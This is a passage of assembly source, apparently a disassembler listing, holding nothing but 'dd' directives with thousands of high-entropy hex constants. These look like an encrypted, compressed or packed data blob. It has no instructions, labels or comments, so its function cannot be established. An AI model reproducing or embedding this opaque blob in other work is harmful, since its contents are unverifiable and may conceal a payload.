		dd 8224B501h, 0E623EA6Eh, 123F64A0h, 7652FAF8h,	56741A4Fh
		dd 0C8AE668h, 5BD60200h, 0C0E27DEAh, 81C4B542h,	0FF3E67EDh
		dd 0C06538C5h, 0DFEF4C2Ah, 69F8DF30h, 2733871Fh, 24030E5Ch
		dd 8D29884Dh, 0F94CEB39h, 0F06E52C8h, 2880685h,	90555DEEh
		dd 8CEC2F4Bh, 0FD24EA36h, 0E49451F8h, 841C408Ah, 5448EC76h
		dd 9FEA824Eh, 2DBBA76Eh, 60555890h, 0A488A157h,	563E1B26h
		dd 7D8130FBh, 0D2F8CB81h, 0E6CA08DEh, 0D462DD0Ah, 54DCA23Dh
		dd 55500CDFh, 80C7736Fh, 20761CA2h, 162F2A69h, 0BE7EC7AEh
		dd 50638EC9h, 9989EA2Ah, 694081F5h, 75FE0C53h, 0CDEC9740h
		dd 1E03262Dh, 0E4C20E31h, 29BE16D8h, 8A4AF909h,	0F3C503DFh
		dd 98F5552Ah, 8C551641h, 93C744D2h, 322BB44h, 64DFEA13h
		dd 0A41D4F2Ch, 0A2EAE0B5h, 5DC12118h, 0F5566469h, 18E3E66Dh
		dd 144980EAh, 401E7C2h,	2C7ECF82h, 0F7D8340Dh, 592D00EEh
		dd 0EAF30A9Ch, 2CDF525Bh, 0E789D503h, 0EF81F067h, 7E9E7FCh
		dd 3520F4E9h, 2802604Ch, 7E5574BBh, 1F2A6D3Ah, 909C0925h
		dd 0DB83D16Ah, 879596C1h, 5A555210h, 0E532182h,	231FC5D4h
		dd 1A5DEE86h, 3380BDCBh, 4D5640D7h, 6A6472F6h, 4C833416h
		dd 0D066832h, 6AEA86F6h, 0E1807159h, 79C48A5Dh,	441E4E67h
		dd 0C2038965h, 6A48DE8Dh, 231E98C3h, 7BD24FC5h,	0FE2AEE43h
		dd 0B8BC360h, 54D332DDh, 4281A04h, 4584CF89h, 5A5CDE21h
		dd 9A2978E8h, 6C069130h, 1169EA29h, 0D9473379h,	0FC48622Bh
		dd 4CA1B0D6h, 47000E6Dh, 0EA698B3Ah, 209348F1h,	0E19DB124h
		dd 0FB603937h, 0B356142Ch, 0E4B91F2Ah, 72506523h, 4189058Eh
		dd 1266D908h, 0EAD40254h, 0E00E0426h, 0C7325BD7h, 98FFE659h
		dd 0C21680E5h, 4F0932EFh, 0AD400808h, 42818227h, 4477B9C7h
		dd 0A4EFA180h, 322467DAh, 1B5FF13Fh, 0A01C7635h, 0B3C229D9h
		dd 0E2C10E4Dh, 0EC6181EFh, 0C9D08954h, 0EAB341FFh, 67E6521Eh
		dd 2DC841C0h, 0D9294D0Eh, 5C8B9E05h, 240B025Bh,	0C1B381F7h
		dd 6DE007ECh, 0E637DF09h, 0DD4D0807h, 7C326128h, 86320CF0h
		dd 0DF0634E9h, 43C9930Dh, 81D2F732h, 61F3DC3h, 5A5C291Ch
		dd 0B753F1C6h, 72CC20FAh, 0DBB65258h, 43E1CB45h, 0EC102D60h
		dd 0E88A1374h, 4984AD63h, 0EA09AA0Ch, 0D8A4715Ch, 308780E0h
		dd 6D7CC574h, 0C47D22D4h, 0C2033BA4h, 0E39803EBh, 0BF3D5706h
		dd 0B84BA82Bh, 86D3FFF6h, 0C6821A44h, 21062524h, 24E9220Fh
		dd 0EA165E0Eh, 0BD5D7B3Bh, 48DCB08Ch, 13F04802h, 2356E41h
		dd 0C02713E4h, 6960592Ch, 0C9B16DF9h, 0BC5861A4h, 0CD5701F9h
		dd 2EEA5245h, 62183377h, 20E484Eh, 9060845Eh, 0F0C41534h
		dd 0E13541Ah, 8261DF8Eh, 0E211DAE7h, 87036E61h,	42DEEF12h
		dd 39912AE4h, 87073052h, 0D25874CEh, 74CB5BC9h,	0FA046E19h
		dd 4261EFDDh, 0FB9EE832h, 0BF918E59h, 2ED68A2Ah, 42BD9890h
		dd 2F534BBDh, 81695289h, 5A66D6ABh, 943160D8h, 1F124E35h
		dd 0DAF80080h, 0AFA2F282h, 0F9B2B3Bh, 0E2388EEBh, 0C0BC5447h
		dd 2E5214E1h, 1AFFD4F8h, 0AC6C6842h, 0EF35587Ch, 42210C9Dh
		dd 36550CB3h, 0D573580Eh, 8206901Dh, 800297EAh,	5C445862h
		dd 0E940F60Ch, 78529B74h, 5F922053h, 896051A2h,	670493F0h
		dd 0F8025711h, 8186D84h, 1215FB0Ch, 715F2731h, 75DB8560h
		dd 0AB420ABh, 0F47B1362h, 3E415DFBh, 0FA9E835Ah, 2A61Eh
		dd 0C9C0FD0Ch, 9686EAD7h, 126930C3h, 62BF260Ah,	4218BDB5h
		dd 0F90C1554h, 2C05880h, 627C1340h, 0D7417D32h,	507A2960h
		dd 0C68284CEh, 0AD5C584Eh, 2DD9C89Fh, 469B0607h, 0C4A502E7h
		dd 712E9B40h, 330E533h,	3604E1C2h, 10B17307h, 5C2AE722h
		dd 2DAEBCAEh, 0A2CCC728h, 344F2024h, 0EE539C03h, 0F80C0051h
		dd 2E9BED6h, 8F35EAF1h,	0D1C9347Eh, 2958F823h, 0B45B9376h
		dd 60600ECh, 7B5E5518h,	878EA2Ch, 25F81BFh, 0FC2A66F9h
		dd 0D65B0EF0h, 0E9B10418h, 0E6C20557h, 0A1D69B82h, 0D931AD8Ch
		dd 0B36944E0h, 0BF92304Bh, 88246C70h, 32CC539h,	9933B08h
		dd 5444BA52h, 10E7CC4Ch, 5D252A12h, 52BC2BA0h, 5E5CFB31h
		dd 740924A7h, 301C0428h, 0A56E39h, 0C35E6AABh, 0D6DB408Ah
		dd 107B5B48h, 2E3A1E61h, 36033705h, 6C44041h, 0C14270A4h
		dd 59C40213h, 0E0474575h, 50EE70Eh, 96C7F9B4h, 0A0B90118h
		dd 0E850090Bh, 0AAA44868h, 0FE22D503h, 0EFFB0213h, 0CD208E4h
		dd 6941121Dh, 2CCF2CDEh, 40163555h, 1204D854h, 31CC2173h
		dd 4DC9583Ch, 0AA85E415h, 2904C12Ch, 0D9F40D3Bh, 47EE184Ah
		dd 87B95102h, 6110B60Fh, 2485F23Bh, 88358C60h, 9A9A88A7h
		dd 43FB7430h, 303034C3h, 0A2CA2F8Dh, 2526594Ch,	0C9302848h
		dd 9C30A5Ah, 2869E3D2h,	0BC32392Ah, 5903C370h, 5A13482Ah
		dd 0F33591B2h, 0FF3683h, 8DE88289h, 0F8493F7Fh,	3DC2E03Ch
		dd 48B0F608h, 8AEEDC17h, 8809B64Ah, 69C91081h, 3A5706F5h
		dd 94FF75F6h, 44519201h, 0E290553Ah, 598C429Fh,	0B068A26h
		dd 69545600h, 0CC63072h, 0D55EA34h, 22582D18h, 778F20F5h
		dd 29F27F59h, 3C39ED1Bh, 44A0E593h, 0A21C0833h,	0BF324AAEh
		dd 0CB203D4h, 76D22B10h, 4FE8247Ah, 1CF681F6h, 606D455Ch
		dd 0DF24FCBDh, 0EA162449h, 8978B604h, 0CAFA61Dh, 0C43754A3h
		dd 0A538CD1Ch, 0E9560CB0h, 4FD24E7Bh, 0EA2BF12Ch, 0A321BA89h
		dd 580A1A69h, 665970A1h, 0BC101999h, 0F6939D14h, 348958D8h
		dd 14E25DB4h, 0F3825B1Dh, 30A480C1h, 0FC2581EAh, 75DED42Ch
		dd 41778D0Ch, 9296E7h, 1418EC81h, 0D0C1B710h, 0E634883Fh
		dd 3669806Bh, 2D20CF0Ah, 30F6202Ah, 0CA5B696Eh,	0D19AB929h
		dd 99EF1435h, 21C664CDh, 9E2CBB53h, 0B2F4286h, 324D5462h
		dd 619E6AD1h, 0E42855C6h, 671969C3h, 339F3119h,	0D8C7F8CDh
		dd 0EE75B353h, 7CEB7CF0h, 0F8C875D8h, 0B1511B5Bh, 0A6E7CE2Bh
		dd 950A2459h, 0F963B6EAh, 0FC4A7E40h, 4C697707h, 0C0C03B67h
		dd 649812FFh, 0E82FEA18h, 0E4C889A2h, 595C12FBh, 68550C2Dh
		dd 0B5995DBDh, 67A08120h, 2E2EAC0Fh, 7C083A39h,	0F4290973h
		dd 0ED9447E5h, 565AC48Ch, 8A103914h, 7DBF0334h,	0D1386052h
		dd 0DAFF11FEh, 23B14D5Dh, 4606C8C2h, 326C2A34h,	905D0D06h
		dd 95EA1AC5h, 0C8106540h, 0E17D8A51h, 188C8327h, 532B69F8h
		dd 4E4C9B63h, 97F6F115h, 6EFEDE31h, 18B7002Ch, 8DC40081h
		dd 2951B652h, 0F4FA5AECh, 672416DEh, 21FFE80Eh,	3DB7E95Bh
		dd 0ED0046BFh, 6D646FB4h, 74FE555Ah, 0E9042406h, 3C222D47h
		dd 839E1C8Bh, 1487CFC4h, 78797CFEh, 1B9CF809h, 58D622E9h
		dd 929A687Ah, 0ACB85000h, 312C7608h, 0E9580CC7h, 661C2428h
		dd 540C8B33h, 0E56A10ECh, 16AC3B79h, 1C4F559Bh,	0C5818589h
		dd 0C83290Ch, 242C0687h, 8A34FF5Ch, 823C84D0h, 0AC625368h
		dd 0CA54AC90h, 42135A2Bh
		dd 681BF57h, 215FFA01h,	0DA09109Fh, 2667DDE9h, 0F7E65B0Eh
		dd 7293EA4Ch, 8108A840h, 0B23901C3h, 82E9949Fh,	548440F1h
		dd 4CA62C8Bh, 0BA826584h, 0F9E90601h, 0B580037Dh, 2E14B81h
		dd 0C7155BECh, 0D3D9F616h, 0B3F9A8C1h, 6C8E5693h, 0C74D446Fh
		dd 66872436h, 42E0FBB3h, 0BB10AD82h, 81531E68h,	89503A68h
		dd 6C00BE89h, 0BB71F050h, 2C2E89Ch, 0E3EB81D3h,	0D8C11E39h
		dd 8E0A0F3h, 412AE91Bh,	7B95B14Fh, 70C78181h, 0D8E2A327h
		dd 211461C2h, 7EAB1824h, 5F08EA50h, 0F996E918h,	3CF5899Eh
		dd 0B49A455Eh, 0BF395248h, 1C3A21DFh, 3C7987A0h, 60CBE958h
		dd 2A51B810h, 502E1AD4h, 31832EF7h, 1F430FDDh, 0C01638B0h
		dd 95800BFh, 0CF816553h, 3F3B77E4h, 62F7016Bh, 47693135h
		dd 0B565CE80h, 27E9F9B1h, 4987854h, 554B7CC6h, 0A2C600F5h
		dd 29179DF7h, 92FC5EF0h, 0E71D8B60h, 76D06839h,	0FFEF367Eh
		dd 15006803h, 116C020h,	54555FF9h, 18E97ABDh, 680C875Dh
		dd 34D6E588h, 62A07200h, 1E3AFh, 710559CAh, 296FDE0Bh
		dd 72DD028h, 4FB0E919h,	3F859FBh, 0D0F70164h, 0D43BD735h
		dd 2CBF2015h, 3C6BB080h, 0E0983834h, 6FBB68ECh,	10AD2713h
		dd 56ADF015h, 59D57FBh,	722F3568h, 91A9AE04h, 73EFD007h
		dd 506FFCE3h, 183AE63Dh, 0EE88391Eh, 4C5AF312h,	52E8894Ch
		dd 8090DEF8h, 65405641h, 586D4D0Eh, 0E67D28F1h,	5A1ACD6Ah
		dd 249CE489h, 0D3E8F183h, 0EBC06C81h, 20CB8007h, 7540E54Bh
		dd 8BD51201h, 8B227414h, 212A4817h, 0F660402h, 0B76BC8BBh
		dd 55C2D344h, 589FE3C0h, 80188D5Ah, 9B961440h, 3E5B1146h
		dd 693C6269h, 908CAA92h, 41FD981h, 2D83BB97h, 6DC84788h
		dd 461F247Eh, 234740C8h, 93DF4971h, 73D5788h, 8EB7C680h
		dd 0F32D108Ch, 1B41C0Ah, 5B13FDF8h, 0D9092D05h,	64771388h
		dd 18247316h, 303CE4AAh, 0F40F6F34h, 726A7A51h,	4E1984BBh
		dd 1862C2DDh, 4655C24h,	81EA3D3Ah, 119A4CFBh, 3231E389h
		dd 81EB890Ch, 0E136A41Ch, 801DB28Bh, 0C9FE0235h, 3AF13980h
		dd 5047E180h, 0FFE93CB4h, 0C2F9584Ch, 9917B068h, 6AE456BBh
		dd 4E09121Eh, 0ECDE015Eh, 804D9D3Ch, 0BF5B6B0Ch, 0FCE6D12Ah
		dd 6D5E09EEh, 52AE8CCBh, 0E68AEA69h, 98E94285h,	6D00A2CBh
		dd 4E0894BAh, 2912D02h,	16A8E79h, 78A05D0h, 0EB250D17h
		dd 0C380D834h, 0D066C933h, 0C4CB82B6h, 2E78186h, 60EB8010h
		dd 6D94E934h, 7880DE9Dh, 0E920B753h, 16D08C3Dh,	521140B0h
		dd 0F460B2F8h, 81DEF73Ah, 8BBA1DF6h, 0EE9BFEF9h, 24B455EDh
		dd 0B8103C94h, 85CA42BCh, 4D04BA52h, 3F91D301h,	0AD66DE9h
		dd 97860814h, 2CCB8100h, 0EC301537h, 2CE470E3h,	2C0CC3h
		dd 0F485D01Bh, 34C6DE29h, 768AFE99h, 0D29F285Ch, 1EF10F4Bh
		dd 916BD984h, 0BE052CA0h, 177F2135h, 14DDC534h,	48B1CBh
		dd 3B5BFC10h, 0BD4680BBh, 0C1EBD17Dh, 0F70418E3h, 0AD3788DBh
		dd 31C98210h, 59E09A73h, 0C1019D13h, 0F74F06EFh, 76DA30DFh
		dd 0D0A8EE16h, 1096600h, 30E918AFh, 0B9681CA6h,	200366E4h
		dd 81D9F73Ah, 119A98F1h, 0A3BA2499h, 0E9E4023Bh, 4846411Dh
		dd 3DD1BD00h, 5645394Dh, 0C8680553h, 0F296379h,	2C38628Bh
		dd 0E73AC147h, 0D7870705h, 0F8E3D2F7h, 25A400EEh, 10B249Fh
		dd 213CAD2Dh, 12058347h, 0A877600Dh, 0CFD75B82h, 25052A8h
		dd 0CF1E3BBFh, 644AC033h, 7DAD3246h, 0B1695FF6h, 0C64E2058h
		dd 766F89F4h, 0D021A414h, 0B0236CBh, 3B840FC0h,	7791146Bh
		dd 3082351Ch, 529B5ED0h, 20615842h, 0E1429EBh, 365D7424h
		dd 4DA8FDCAh, 2064FA5Dh, 506435C2h, 0FEDB98C8h,	0C6835F13h
		dd 90341809h, 64B652A1h, 8D47C66Fh, 58AC2298h, 50BF2722h
		dd 0E9690B24h, 0F1185806h, 6200B4B8h, 0BE564F49h, 0B1293Ah
		dd 8E6C127h, 5960CE81h,	4E7DAF05h, 0D45211E9h, 7688B800h
		dd 49F76A50h, 0EC7B20D7h, 358F0504h, 83F88969h,	3058348Eh
		dd 36E02453h, 0A47EF4A8h, 7EDB3220h, 28193451h,	61C68229h
		dd 0E688D0A1h, 0DA2CE866h, 474F0E0h, 0D54DF3FEh, 2F77762Ch
		dd 0C4B24C9Ah, 5222BB86h, 80E30459h, 0C2032145h, 0F60291D4h
		dd 3F78C81Ch, 1C43D2D0h, 12E1D607h, 0CCD36C9h, 2D9DE913h
		dd 39100B20h, 8171000Bh, 0FC1744E2h, 2626E906h,	2BA80C23h
		dd 0EFAA8963h, 0B514506Ch, 53296A2Dh, 8033190Eh, 0B4FC5231h
		dd 0FB03BAC6h, 292CD920h, 82AC7EAh, 6F6A0C30h, 965D71EFh
		dd 98F66849h, 0CFD8CE50h, 0B8B8BB83h, 3D9A6Ah, 17C74D05h
		dd 58C1212Bh, 0D90E3798h, 0A92C6920h, 31EA25D2h, 0A6338009h
		dd 0E957668Ah, 38AC5991h, 0D48A4CBBh, 1E3852A5h, 430959CFh
		dd 2C692431h, 0A3495B04h, 581F07BEh, 0F38027BDh, 0BBD8315Eh
		dd 1AE82C26h, 8D093146h, 6733CB44h, 4D4C7702h, 56161F12h
		dd 0C6600A89h, 618D6AD8h, 733C8B5Ch, 3CC721E7h,	0FF80B8F6h
		dd 0D9D3A248h, 1037EAB0h, 8208CC68h, 0A65DE06h,	95B00DACh
		dd 42E91053h, 0B7334D0Eh, 5292B6C5h, 7E67C051h,	76EB3468h
		dd 4120C553h, 0F480D44Fh, 0FFECCC81h, 60E0CCCh,	88530E72h
		dd 0DC6E50E3h, 5B58E1A3h, 8EEBE097h, 6898CB28h,	6C20E9EAh
		dd 0A9594851h, 0D15D8812h, 4958FA2h, 7B3C7E93h,	0DD1A5536h
		dd 697BC936h, 772147EBh, 0C959669Dh, 109F22D3h,	5B2CCEA0h
		dd 31337h, 58566C72h, 0EFA4894Fh, 2D9250FFh, 0C2E7562h
		dd 5300BE4Eh, 2803FCBBh, 0CAB84Bh, 600B51EAh, 2DBD5543h
		dd 48A63B03h, 75A85E9h,	53686684h, 5CA0490Eh, 0C128DFB0h
		dd 18961198h, 0AEAAE90Fh, 0CDC80E67h, 33C580CEh, 6F182EBFh
		dd 0D10110E4h, 0B796D49Ah, 0E9061052h, 7645BAA5h, 69A82056h
		dd 252D5F0Bh, 6A5A0F77h, 0AD9E909Ah, 1C65201Fh,	55C17FB8h
		dd 0CC60A207h, 24D894AAh, 82B9813Ah, 30448E5Dh,	0E34B3585h
		dd 4120834Ch, 12F97201h, 498B5931h, 6262DF94h, 0DD4244Ch
		dd 0B4E726E9h, 0D328F741h, 0F55DF447h, 211CB892h, 64C7806h
		dd 5B199C26h, 0FC94404h, 8482C0B6h, 1480093Ch, 5FE77940h
		dd 93003598h, 0D6B3207h, 3FCE7654h, 87B0E92Ah, 5BD8292Ch
		dd 4DAA2D00h, 900D4012h, 1D093D6Ch, 66FCF81Fh, 9C126BEh
		dd 0BD22F537h, 62270DAh, 0CB08008Fh, 0B2035259h, 80CAFE1Fh
		dd 0A33EA7EAh, 0C1E2D0D8h, 0C6A450F2h, 4C8910D6h, 0ADCE2510h
		dd 0CB4D878Dh, 35702ED6h, 24007DC3h, 0B050C9FEh, 4C019027h
		dd 7080A8F0h, 8910C776h, 0F758C501h, 4E5C1D5h, 7C07EDCCh
		dd 3E14D51h, 335C52A7h,	0C9DAC84Bh, 8F5B2648h, 8E42044Ch
		dd 0F510D108h, 16BF5DCCh, 218C35A0h, 6D402C68h,	0E0606EE1h
		dd 331BBF57h, 81438D00h, 395550E7h, 757C9836h, 7ADB243Dh
		dd 19003ACh, 0B6502C21h, 3A0EC5D8h, 0C0193E47h,	0BA2DA3F5h
		dd 4154981Ah, 47497D7h,	22442635h, 48140765h, 25B2558Eh
		dd 0F1568C0Dh, 62227DB0h, 942DE7Bh, 0D118AF9h, 93DD6252h
		dd 0C8D37410h, 16DC2614h, 2619285h, 5A25FB11h, 96C48960h
		dd 0AAD347A1h, 505091A5h, 0D16B0A7h, 224554F9h,	4BC25908h
		dd 40CCCAC9h, 246850C8h, 63CE33E4h, 0EC92F588h,	12F6DB83h
		dd 52C1791Eh, 0C45A5309h, 0F7660013h, 595451E1h, 154C168h
		dd 2858D8FCh, 0F889D369h, 0C3DEE4F4h, 5AF0289Ch, 0C2F4D09Bh
		dd 0A07887DDh, 45E5B5Ch, 59423F07h, 2EB0ADC7h, 5A891140h
		dd 11628DDh, 0DB34E84Bh
		dd 76317C93h, 90349106h, 0CBC184D3h, 72575807h,	0C6911BCh
		dd 0F6782052h, 4F5A5C17h, 0FA9208h, 413ACE81h, 0C11860F5h
		dd 3E1205E6h, 0FE1A7254h, 86A300F6h, 0F229E209h, 1554CFE9h
		dd 0DBB06CF5h, 0A2098161h, 45705469h, 0EC10C744h, 5D6E1028h
		dd 95D477E9h, 63A60425h, 57B122D9h, 7344FE01h, 0F8E442C1h
		dd 8305045Fh, 818488C0h, 0CC62D821h, 0E9EC0121h, 9E927F26h
		dd 0ECFFE44Eh, 26556798h, 0C0F75D54h, 0D1BBE953h, 2F0526C1h
		dd 0F07ABE74h, 35D1C652h, 0E30926ABh, 226A6C28h, 8E4B53ABh
		dd 0C9E76FB4h, 0C181E034h, 0F70413E1h, 0E6ED08D1h, 3B05B63Fh
		dd 62024580h, 8BA02D99h, 7B6B32C0h, 94EE149Ah, 4244826Dh
		dd 0A179C81Dh, 8607B596h, 0CD333AEDh, 67F5B1F2h, 0CB3117FDh
		dd 12207771h, 5AE607C3h, 620153A2h, 0D7C41388h,	7938E913h
		dd 2FF83971h, 0E919E616h, 0E5114096h, 965CB6FCh, 96576829h
		dd 7A408EC5h, 0E8C10E84h, 5381310Bh, 23720968h,	0A9C950C0h
		dd 7756B15h, 0F30581C3h, 85418E53h, 328227B3h, 0E2D1C209h
		dd 2371761h, 8244A9BAh,	112760Dh, 0E85EF329h, 0A5945BDAh
		dd 0A3CAF86Ch, 6B2DF890h, 612A0AB3h, 0E862C609h, 3B5600CAh
		dd 0B7E93C8Ch, 6637DA92h, 74B8E05h, 0BE815639h,	81F01726h
		dd 7FDA3EEEh, 6A8C1BAh,	6C96A1h, 3B339C2Dh, 2DB031F6h
		dd 5DE82913h, 0BA117FD9h, 0BB000DAEh, 0C4096B31h, 80DD095Ah
		dd 3028ED14h, 6820626Fh, 13416843h, 2442DA29h, 1FC50809h
		dd 0DB004E12h, 0AC478DC3h, 1BF4FE9h, 5CDA0549h,	17747094h
		dd 0C02C5260h, 0E8004E7h, 0CFFE6CF7h, 1086C7A6h, 5BF8AB80h
		dd 2EE52C39h, 0B3169899h, 0FA5C70C8h, 813C656Ah, 5588250h
		dd 0C0410746h, 6096D364h, 8D2D1613h, 384AB358h,	5457E302h
		dd 366E325Fh, 195EF725h, 707052E9h, 0BC3EB2B2h,	184EC94Ah
		dd 4A30E916h, 0CC76835h, 89E1B9B2h, 30EB6587h, 5BFA2858h
		dd 0EE0945B8h, 20FB45E9h, 5DC2C7EAh, 65E76BFh, 5A6042EFh
		dd 0F105180Bh, 0FD692E33h, 468A798h, 29EE3D58h,	0FC8916FFh
		dd 9489F0EEh, 2B153CCEh, 405B8E8Ch, 3D0D25B0h, 0E1FE5F19h
		dd 0EF83E260h, 196B03A2h, 1C515767h, 1D117C62h,	0C5CA028Fh
		dd 6FB26CC8h, 33A18429h, 9039E904h, 5C7ABBAAh, 81053771h
		dd 0D4687EF3h, 0AA0E5E82h, 600838Dh, 0B9326409h, 1565EA5Bh
		dd 0F6E9295Ch, 74E2458h, 0B2C1FE62h, 0DEAB9014h, 23B0404h
		dd 0C672CE68h, 20AE9892h, 0B3002CECh, 3016B634h, 9885BDEh
		dd 0D4F65AF4h, 0E557F204h, 102D6244h, 225858BEh, 9763381Ch
		dd 8EE20969h, 4BA8E953h, 0D130024Bh, 0C007B1E9h, 1F15C73Fh
		dd 1283031h, 883A8EFh, 0E12DD75Ah, 6AE910DAh, 5918FFB2h
		dd 0C1B8F888h, 79537758h, 873C3DCFh, 2540AC4Ch,	0F59D55E9h
		dd 166855E0h, 52C3DBDh,	83DDF751h, 131EBF13h, 1D2EB89h
		dd 9CE9FB07h, 0F041C4B9h, 2945408Ah, 5150C33Ch,	0C1568BD7h
		dd 0C2F681EAh, 0FE86115h, 6E59012Dh, 0D0294165h, 5A074005h
		dd 244E9568h, 1C82DA27h, 0AEE6C78h, 23BB6986h, 439400FEh
		dd 0BA522E8Fh, 0B636AE0Bh, 8917E13Ah, 53D25464h, 0B71EEE7Bh
		dd 2AB48CA6h, 0CC5C8814h, 0FFC634ADh, 90337CF0h, 6316E4Bh
		dd 21CF32D3h, 65205CE4h, 3E5066C7h, 9991F792h, 9A190D69h
		dd 0E5401922h, 64180536h, 10D70179h, 0BB5108F5h, 3C7E20DFh
		dd 0EE6B07E7h, 166B452h, 33A57455h, 2A697501h, 12837D2Dh
		dd 7D92BD1h, 75770F07h,	0A2E91F58h, 414C2676h, 6810A751h
		dd 362C37B1h, 0B21DEF0Eh, 842E2267h, 7A000979h,	46D60933h
		dd 1D81C0A0h, 4558AB12h, 0E3E91502h, 4B094C6Ah,	6780130Fh
		dd 9451B59Eh, 5C3FA073h, 0C66BFEB8h, 89D4C712h,	0D72036E9h
		dd 328A685Ch, 0D39CB3A6h, 67CD5F92h, 58C9EC38h,	0E29A78B3h
		dd 5BE43C5Ch, 0A09909C7h, 0EB815C61h, 4D0D0469h, 84CB0114h
		dd 590801B6h, 3CB60F66h, 6D427109h, 0C958E91Bh,	0B052854Bh
		dd 0D029BC22h, 17B22753h, 3AC3DD98h, 8B734B2Eh,	255D2E80h
		dd 0AA71E905h, 0B7B060BBh, 0CC7D5018h, 0B7840D0h, 840FC906h
		dd 95107CE4h, 0D9E9BAA2h, 4B260956h, 940B3228h,	0B2B821Ah
		dd 0FF85142Fh, 0A24F57D9h, 4C83B12h, 19C5ED78h,	0B9895961h
		dd 0A060C331h, 73411FE9h, 6BE6E041h, 0A183B507h, 530130CFh
		dd 32C1940h, 58C62889h,	0E4E2F188h, 4BC0A64Ah, 0D9984E02h
		dd 31688B40h, 1E4B4845h, 0F25D0370h, 5A36634h, 0C686DC6h
		dd 73E0092Ah, 68F45928h, 0BE344CFCh, 0E7EFB03h,	0DCE6C11Fh
		dd 221DCD81h, 582118DCh, 7A344CD6h, 0F5ECD840h,	0ED79A4B0h
		dd 5AC29494h, 69AC596Ah, 2D447300h, 2D906EC1h, 67E9570Dh
		dd 74B8BF0Bh, 0A0F8A489h, 0DA110A40h, 5A5F8597h, 0E4B508h
		dd 6F662ABDh, 0EE1EB87Eh, 0CC6EF195h, 37B0E986h, 0B3EA0E6Bh
		dd 4453EB7Fh, 0E2B9517Ah, 59CD0C4Fh, 0D831AE33h, 665C0D06h
		dd 54B86599h, 4D1C05EDh, 27BDD42Eh, 6FE08A79h, 94DE3B0Eh
		dd 7402CFBAh, 670F1FBBh, 0C31E291Ah, 5B103FF9h,	2851461Fh
		dd 820D78C6h, 0DCFBA763h, 9E9F5259h, 0ECED01DAh, 0BE0F0F82h
		dd 216968C8h, 0E912C444h, 425EC4ABh, 0A2BD33h, 0AFCBB13h
		dd 0D9217DD0h, 2AE5B58h, 25C87715h, 31838289h, 0A69165E9h
		dd 565442DBh, 1340CA20h, 20187BDBh, 5A072241h, 0E104E42Ch
		dd 0D8287441h, 0C86D50F9h, 3473ED01h, 0DC455CAFh, 0AD02D6F5h
		dd 5DE9ACD4h, 0A422F940h, 9D061272h, 76EFEC06h,	0E3F15D81h
		dd 438CDC8Fh, 0E41AA385h, 691E03F9h, 0DBF93544h, 12B10900h
		dd 0E6C5C980h, 90604EC1h, 882C6D58h, 4C8281Dh, 0BCECD824h
		dd 0B2520751h, 5ACDE98Dh, 9EC298B0h, 0B5B63A3Dh, 0F30C2C9Eh
		dd 0EE686AC3h, 812BD244h, 5F18152h, 70E249F5h, 2549BE36h
		dd 0D9201C16h, 0B8500437h, 82037A39h, 0AA788E76h, 63AB8CCh
		dd 0B6521E53h, 25CE4106h, 0FD07EEC0h, 0E4FED1C6h, 0F05F57E9h
		dd 0BF779627h, 71F40211h, 0B852AF44h, 30586522h, 7A913166h
		dd 2EDB861Ah, 30E9148Bh, 8147C50Ah, 39D709E7h, 58012A54h
		dd 0F2AA5D67h, 0E9FF9560h, 4F1F1626h, 7351D18Ah, 34B8BF80h
		dd 25E979ECh, 0AC462B3Eh, 5B80917Ch, 0C4A9502Ch, 0FBCBE904h
		dd 0F7F50066h, 8065B450h, 0E91578ECh, 4C216F1Dh, 0FA421091h
		dd 9D4BDC58h, 9FBA38B0h, 2C2E900h, 0EDC13084h, 0DE9641E5h
		dd 0B2B837EFh, 0A45E127Ah, 8210764Ah, 1E4AF72Eh, 8D74C4EFh
		dd 0D228C061h, 0A2C5E15h, 9D3F5E01h, 0CC043AF7h, 59F24F7Dh
		dd 0DD8F5F2Fh, 89501829h, 0E9B4BB97h, 118B0AF1h, 0FBC05AF3h
		dd 3392F236h, 0DE0D3E26h, 5BA7BA60h, 0A8024CB8h, 3A099200h
		dd 7D5EE92Fh, 80B87F9Ch, 295CF91Ah, 58F75DEBh, 86289FD3h
		dd 89A901FEh, 4DE95BDFh, 59B66387h, 210B92F1h, 7B501162h
		dd 5E929AF6h, 683B6C2Eh, 0C402C825h, 5D542F28h,	1299DD1Eh
		dd 4074708h, 0A26B3268h, 100A4C62h, 0AD010CE2h,	2D7AAE05h
		dd 6C0D717Ch, 13DF4904h, 3200FD29h, 7DC26582h, 260F95Fh
		dd 48192668h, 549BC38Fh, 4CBF1000h, 2D87BC99h, 0CE713E7Eh
		dd 5F8010Ah, 895F0607h,	5258DBC3h, 7F355A3Bh, 0B8BA4700h
		dd 1644F57h, 0C6061BBh,	7413E9D9h, 20E80533h, 0C162B000h
		dd 0E40D02E8h, 3CA02E4Bh, 619F07AAh, 0A081AB8Ch, 0F25FB6CCh
		dd 66D37EF0h, 1A05241Fh, 0E89433E9h, 0AD48A9B6h, 5215CA2Ch
		dd 9E4498Bh, 2668D120h
		dd 0EE3672B2h, 323C10B0h, 2C23097Ch, 0E47959EAh, 68F9E942h
		dd 98E8B1E1h, 6D06A197h, 0BE565200h, 0DD7C890Fh, 44268420h
		dd 925D968Ch, 7659007h,	55D13A85h, 2D401048h, 2027A37Fh
		dd 29BCE035h, 3C8B25F8h, 0F74A1365h, 0F0A73C12h, 44968D4Fh
		dd 6137F9EBh, 0C97F200Ch, 5596AB20h, 0A675A45Eh, 6AA17101h
		dd 6C440101h, 4C02D37Eh, 76583059h, 2FAC8854h, 0C6D02909h
		dd 0B5B2A0C9h, 923F7244h, 0D829043Ch, 0A80DF468h, 0C12D01Fh
		dd 7509FEE9h, 9AC4EEEBh, 0E1648B3Bh, 0BC695FFDh, 5469314Ah
		dd 85E8FAE9h, 531E5266h, 939AC7B3h, 0A37B459Dh,	29E909EBh
		dd 4DF59EC8h, 6A71651Eh, 291602CBh, 2F7E78C2h, 9913465Fh
		dd 1013C6C5h, 97615E3Fh, 59212EA9h, 5B930F6Bh, 2C43E16Fh
		dd 0A209D608h, 5F8E4085h, 874884C0h, 5BC5071Eh,	51E21EE2h
		dd 12D16615h, 77E78957h, 0B5FB696Dh, 0CB320728h, 0A341367h
		dd 0B21CE460h, 0DF454B6Bh, 0A58865F8h, 61E5E7EBh, 6796E38h
		dd 0DCF6F3C4h, 0C4BCC53h, 6326E340h, 0FCBB7BF4h, 0E40B589Ch
		dd 4B20EB1Dh, 43524175h, 0E55E0881h, 5B7993D9h,	5C2540DEh
		dd 0F7663AC8h, 53F9F165h, 1731D971h, 3659E105h,	84257E17h
		dd 92982944h, 4A8279E8h, 0A4D24479h, 0BF409909h, 2D17B801h
